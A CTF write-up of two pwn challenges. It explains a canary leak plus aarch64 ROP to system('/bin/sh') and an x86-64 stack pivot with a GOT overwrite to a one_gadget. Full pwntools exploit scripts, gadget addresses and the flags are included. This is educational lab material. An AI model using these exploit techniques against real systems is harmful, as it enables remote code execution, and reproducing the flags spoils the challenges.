Overview
Challenge | Difficulty | Points | Category | Flag |
---|---|---|---|---|
ARM World | medium | 499 | pwn | wwf{w0W_yOu_5uCc3SS_aRM_r0p!!} |
Giggity Ropity Goo | medium | 499 | pwn | wwf{pr373nd_y0u_4r3_5l33p1n6_50_17_g035_fa5T3r} |
ARM World
Challenge
Highlights
- ARM assembly
- ARM ROP
- Stack canary bypass
Discovery
The challenge seems to be a simple buffer overflow leading to ROP.
checksec output
1
2
3
4
5
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
When running it we get the chance to input a name and a guestbook, the name is printed back to us:
1
2
3
4
5
6
Welcome to ARM World!
Write your name: mideno
Your name: mideno
Write your Guestbook: my what
Thank you Guestbook!
To figure out more we’ll have to take a look at the code.
I changed the name of some of the functions and variables based on what they do since the binary is stripped.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
undefined8 chall(void)
{
undefined8 uVar1;
long lVar2;
undefined8 local_68;
undefined8 uStack_60;
undefined8 local_58;
undefined8 uStack_50;
undefined8 local_48;
undefined8 uStack_40;
undefined8 local_38;
undefined8 uStack_30;
long canary_28;
canary_28 = DAT_0049dc40;
FUN_004006d4(&DAT_0049d000,0);
FUN_0041e920(0x3c);
FUN_0040e580("Welcome to ARM World!");
local_68 = 0;
uStack_60 = 0;
local_58 = 0;
uStack_50 = 0;
printf("Write your name: ");
read(0,&local_68,80);
printf("Your name: %s\n",&local_68);
local_48 = 0;
uStack_40 = 0;
local_38 = 0;
uStack_30 = 0;
printf("Write your Guestbook: ");
scanf(&%s,&local_48);
system("echo \'Thank you Guestbook!\'");
if (canary_28 - DAT_0049dc40 != 0) {
FUN_00420ea0(&DAT_0049d000,0,canary_28 - DAT_0049dc40);
lVar2 = 2;
do {
(*(code *)(&PTR_FUN_0049c1a8)[lVar2])();
lVar2 = lVar2 + -1;
} while (lVar2 != 0);
uVar1 = FUN_00466418();
return uVar1;
}
return 0;
}
inmediately we realize some interesting stuff:
- there is a stack canary (even tho
checksec
says no) - we can only achieve control flow hijack via the
scanf
call
stack layout information:
- the canary is stored at
[rbp-0x28]
- the “name” variable is:
- stored at
[rbp-0x68]
80
bytes long
- stored at
- “guestbook” is at
[rbp-0x48]
As we can see there’s no way to craft a ROP without breaking the integrity check of the canary in principle. What we try to do always in this type of scenario is to leak the canary and then carefully craft a payload that writes it’s contents back.
We can use the printf("Your name: %s\n",&local_68);
call to leak stuff, since this prints an arbitraryly long string, it only stops printing when it finds a null terminator 0x00
.
So all we need to do is to make the name variable end where the canary starts (actually our last byte has to overlap since the canary usually starts with a null byte).
Solution
Full script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import remote, ROP, context, ELF, p64, cyclic
context.binary = ELF("./deploy/chal")
p = remote("chal.wwctf.com", 32770)
name_buff_offset = 0x68
guestbook_offset = 0x48
canary_offset = 0x28
p.sendline(b"A" * (name_buff_offset - canary_offset))
leak = p.recvuntil(b"Guestbook: ")
canary_leak_index = leak.index(b"A\n") + 2
canary = b"\x00" + leak[canary_leak_index:canary_leak_index+7]
p.sendline(b"A"*(guestbook_offset - canary_offset) +
canary + b"A"*8 + p64(0x4562f8) + cyclic(24) + p64(0x401b00) + p64(0x466608))
p.interactive()
Leaking canary
As you can see we simply send a bunch of b"A"
s to leak the canary, this returns something like this:
b'Welcome to ARM World!\nWrite your name: Your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n?\xf7\xf5\x9e\xa1\x82& \x0b\x80\nWrite your Guestbook: '
from this we index to get the canary leak and store it as a variable (do note that we have to read 7 bytes and add the null byte to the start)
So we can leak the canary and bypass the stack integrity check, but now we still need to build a good ROP.
ROP building
This should not be that hard since there is no PIE
I’ll leave the epilogue of the function here since it’s really useful:
1
2
3
4
5
6
004007e4 00 00 80 52 mov w0,#0x0
004007e8 fd 7b 45 a9 ldp x29=>local_20,x30,[sp, #0x50]
004007ec f3 33 40 f9 ldr x19,[sp, #local_10]
004007f0 ff c3 01 91 add sp,sp,#0x70
004007f4 c0 03 5f d6 ret
If you look carefully to the function decompilation, you can see there’s this call:
1
system("echo \'Thank you Guestbook!\'");
This tells us that we have the system
function which we can use to get a shell (I guessed this was system because of the argument).
The address of that function is: 00401b00
Now all we need is to get a gadget that lets us place a pointer to “/bin/sh” or similar in x0
I found “/bin/sh” in the address 0x466608
I settled for this gadget: 0x00000000004562f8 : ldr x0, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
let’s break it down:
ldr x0, [sp, #0x10]
- loads into
x0
a value stored atsp+0x10
- loads into
ldp x29, x30, [sp], #0x20
- loads into
x29
a value stored atsp
- loads into
x30
a value stored atsp+8
- increases
sp
by0x20
- loads into
ret
This might be a bit confusing at first but let’s break down the used payload a little bit too:
1
2
p.sendline(b"A"*(guestbook_offset - canary_offset) +
canary + b"A"*8 + p64(0x4562f8) + cyclic(24) + p64(0x401b00) + p64(0x466608))
so first of all we set the canary in the right place and add 8 bytes of padding until the first return address.
We place the address of our gadget so we return to it.
Then we see 24 bytes of padding before the address of system
and “/bin/sh”
Why is the padding there?
Well when the function reads the return address and writes it to x30
, the sp
register is actually 0x58
bytes before the return address, since it reads the values for x29
and x30
in a single ldp
instruction.
This makes it so that when the sp
is restored by adding 0x70
to it, it now stands at 0x70 - 0x50 = 24
bytes above the return address.
which is (if you do the mental map) 16 bytes into the cyclic(24)
, so the stack at the time of executing the gadget looks a bit like:
1
2
3
4
0x10: p64(0x466608)
0x08: p64(0x401b00)
0x0: cyclic(8)
sp
suddendly it becomes easy to understand that the first part of the gadget will load sp+0x10
into x0
and that is… our “/bin/sh” pointer!! :))
then remember that 0x30
will be read from sp+0x8
(yeah we don’t care about x29
) so that is where we have the pointer to system()
Flag
wwf{w0W_yOu_5uCc3SS_aRM_r0p!!}
Giggity Ropity Goo
Challenge
Highlights
- one_gadget
- stack pivot
- PIE bruteforce
Discovery
checksec output
1
2
3
4
5
6
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
the challenge doesn’t tell us anything when run, so we have to go straight to the code!!
1
2
3
4
5
6
7
8
9
10
undefined8 main(void)
{
undefined local_108 [256];
setup();
alarm(0x3c);
read(0,local_108,272);
return 0;
}
I’ll also include the disassembly:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
**************************************************************
* FUNCTION *
**************************************************************
undefined main()
undefined AL:1 <RETURN>
undefined1 Stack[-0x108 local_108 XREF[1]: 004011a2(*)
main XREF[4]: Entry Point(*),
_start:00401074(*), 00402038,
00402108(*)
00401183 55 PUSH RBP
00401184 48 89 e5 MOV RBP,RSP
00401187 48 81 ec SUB RSP,0x100
00 01 00 00
0040118e b8 00 00 MOV EAX,0x0
00 00
00401193 e8 ae ff CALL setup undefined setup()
ff ff
00401198 bf 3c 00 MOV EDI,0x3c
00 00
0040119d e8 9e fe CALL <EXTERNAL>::alarm uint alarm(uint __seconds)
ff ff
004011a2 48 8d 85 LEA RAX=>local_108,[RBP + -0x100]
00 ff ff ff
004011a9 ba 10 01 MOV EDX,272
00 00
004011ae 48 89 c6 MOV RSI,RAX
004011b1 bf 00 00 MOV EDI,0x0
00 00
004011b6 e8 95 fe CALL <EXTERNAL>::read ssize_t read(int __fd, void * __
ff ff
004011bb b8 00 00 MOV EAX,0x0
00 00
004011c0 c9 LEAVE
004011c1 c3 RET
Stuff we can get from this:
- We only have space for one gadget
- there’s no way to leak libc so it can’t be a one gadget
- this means we have to perform stack pivot
So what can we do after we do the stack pivot?
PLT and GOT table analysis
Let’s take a look at the .plt
relocation table with readelf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ readelf -r main
Relocation section '.rela.dyn' at offset 0x540 contains 4 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000403fd8 000100000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.34 + 0
000000403fe0 000500000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000404030 000600000005 R_X86_64_COPY 0000000000404030 stdout@GLIBC_2.2.5 + 0
000000404040 000700000005 R_X86_64_COPY 0000000000404040 stdin@GLIBC_2.2.5 + 0
Relocation section '.rela.plt' at offset 0x5a0 contains 3 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000404000 000200000007 R_X86_64_JUMP_SLO 0000000000000000 setbuf@GLIBC_2.2.5 + 0
000000404008 000300000007 R_X86_64_JUMP_SLO 0000000000000000 alarm@GLIBC_2.2.5 + 0
000000404010 000400000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
We can see that we have 3 elements:
- setbuf
- read
- alarm
The first two (in my list) are common and mean nothing, alarm
on the other hand, seems like a hint.
one gadget?
So at first it looks like we can’t ret to a one gadget since we don’t have a libc leak
What if I told you that we don’t need a leak?
PIE bruteforcing and ret to one_gadget
So, to get the libc version of the challenge I looked at the Dockerfile (which is standard practice)
1
2
3
4
5
6
7
8
9
10
11
12
from ubuntu@sha256:72297848456d5d37d1262630108ab308d3e9ec7ed1c3286a32fe09856619a782 AS app
FROM pwn.red/jail
COPY --from=app / /srv
COPY main2 /srv/app/run
COPY flag.txt libc.so.6* ld-linux-x86-64.so.2* /srv/app/
RUN chmod +x /srv/app/run
ENV JAIL_TIME=70%
We can see that the base image used is ubuntu@sha256:72297848456d5d37d1262630108ab308d3e9ec7ed1c3286a32fe09856619a782
, so I got the libc from a container using that image and ran one_gadget to it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ one_gadget libc.so.6
0x583dc posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x68 is writable
rsp & 0xf == 0
rax == NULL || {"sh", rax, rip+0x17302e, r12, ...} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0x583e3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x68 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, rip+0x17302e, r12, ...} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
so the possible one_gadget addresses are:
0x583dc
0x583e3
0xef4ce
0xef52b
Now let’s look at the address of alarm()
in the disassembly of libc.so.6
1
2
3
❯ objdump -d libc.so.6| grep alarm
00000000000ee230 <alarm>:
ee241: 73 01 jae ee244 <alarm+0x14>
Aha!
The last two gadgets kinda align with the address of alarm, only the last two bytes are different, this means that we can overwrite alarm in the .GOT
table to make it point to the one gadget address!!
There’s one small issue tho, libc always has PIE, so while the last 3 nibbles will always match, the 4 one will change every time, this means that there are 16 possible values from which it will take a random one, no biggie, we’ll just run the exploit 16 times :) (that is how probability works… right?)
btw I decided to use the last one because they are all stack values so it’s less for my brain to handle.
Solution
Full script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import process, remote, ROP, ELF, context, p64, gdb, pause, sleep
target_file = "./main_patched"
target_bin = ELF(target_file)
context.binary = target_bin
p = remote("chal.wwctf.com", 7003)
rip_offset = 264
rbp_offset = rip_offset - 8
main = p64(0x401183)
pivot_addr = 0x4011a2
alarm = 0x404008
plt_alarm = 0x401040
# -------------------- PIVOT TO CHANGE ALARM --------------------------
payload = b"A" * rbp_offset + p64(alarm + 0x200) + p64(pivot_addr)
p.send(payload)
# -------------------- WRITE SMALL GADGETS TO CHANGE ALARM ----------------------
gadgets = p64(0x405000) + p64(plt_alarm)
filler = b"A"*(rbp_offset-len(gadgets))
payload = gadgets + filler + p64(alarm + 0x100) + p64(pivot_addr)
p.send(payload)
# ------------------- CHANGE ALARM -----------------------------------------------------------------
payload = b"\x2b\xf5"
p.send(payload)
p.interactive()
First stage: Stack pivot
So first we perform a stack pivot, setting RBP
to 0x200
bytes after the entry for alarm
in .got
(we’ll come back to this), the address we return to is the the parameters setup for the read()
call in the challenge function. Why? Because we only have space for a single gadget, so this way we can send data again.
Second stage: Write gadgets
So now that we have the chance to input more data at a writable section that we can predict, we can just go ham and use the entire stack for gadgets!!
Of course, they won’t get executed at this stage, but we can move RSP there later and run them.
Which gadgets?
This is hard to answer on this stage, the only thing we know is that we want to return to .plt.alarm
in the end since that will mean a call to our one_gadget once the .got
is corrupted >:)
Besides that, we can predict that we will need a final call to read()
, so if we use the stack pivot address for this, then the LEAVE
instruction will get executed besides the RET
, and remember the constraints for our gadget.
1
2
3
4
5
0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
to ensure fulfillment of the constraints we better control where RBP
ends up pointing, since we only care that anything below it is writable and NULL
, I picked the highest writable address.
so our gadgets look like this:
1
gadgets = p64(0x405000) + p64(plt_alarm)
Only a single gadget anyways and an address for leave
to take
Then the final payload for this stage:
1
2
filler = b"A"*(rbp_offset-len(gadgets))
payload = gadgets + filler + p64(alarm + 0x100) + p64(pivot_addr)
- a dose of
b"A"
s to fill the stack .got.alarm + 0x100
thatleave
will assign toRBP
(hold on I’ll explain I swear)- our good friend the pivot address
Stage three: .got corruption and gadget execution
Remember how for the first stage we made RBP
point to .got.alarm + 0x200
and for the second it was .got.alarm + 0x200
? Well that’s not random, if you look at the disassembly carefully you’ll realize the read()
actually inserts data at RBP - 0x100
so when RBP = .got.alarm + 0x200
-> &buffer = got.alarm + 0x100
(how do you like this syntax abuse?)
Then when we set RBP = .got.alarm + 0x100
to make &buffer = .got.alarm
something funny happens, RBP
is exactly where our gadgets were written.
So all we have to send as a payload now are the two bytes with the one_gadget + guessed PIE and hope it works, if not then we run it again 15 times (exactly, that’s how probability works)
1
payload = b"\x2b\xf5"
Bonus: Was my solve not intended?
So remember how I said that alarm
in the got table seemed like a clue? Well that never made much sense with the other solve. I mean yeah we changed where the entry points to, but we could’ve done that with read
or setbuf
and then call them, it was the last call anyway so it’s not like we needed read
to keep working past here.
So this leads me to believe that the actual solve was something more like smol - NaHamCon 2021 (writeup by datajerk/burner_herz0g) where we abuse the fact that alarm
can be turned into a janky syscall
by using a similar technique to what I did to make the got entry point to alarm + 9
, check disassembly.
1
2
3
4
5
6
7
8
9
10
11
12
Dump of assembler code for function alarm:
0x00007ffff7ea3f10 <+0>: endbr64
0x00007ffff7ea3f14 <+4>: mov eax,0x25
0x00007ffff7ea3f19 <+9>: syscall
0x00007ffff7ea3f1b <+11>: cmp rax,0xfffffffffffff001
0x00007ffff7ea3f21 <+17>: jae 0x7ffff7ea3f24 <alarm+20>
0x00007ffff7ea3f23 <+19>: ret
0x00007ffff7ea3f24 <+20>: mov rcx,QWORD PTR [rip+0x104f45] # 0x7ffff7fa8e70
0x00007ffff7ea3f2b <+27>: neg eax
0x00007ffff7ea3f2d <+29>: mov DWORD PTR fs:[rcx],eax
0x00007ffff7ea3f30 <+32>: or rax,0xffffffffffffffff
0x00007ffff7ea3f34 <+36>: ret
This would have been needed because the challenge doesn’t have any syscall
gadget that returns.
I still think my idea was more fun, unless that was intended, then this is more fun.
Flag
wwf{pr373nd_y0u_4r3_5l33p1n6_50_17_g035_fa5T3r}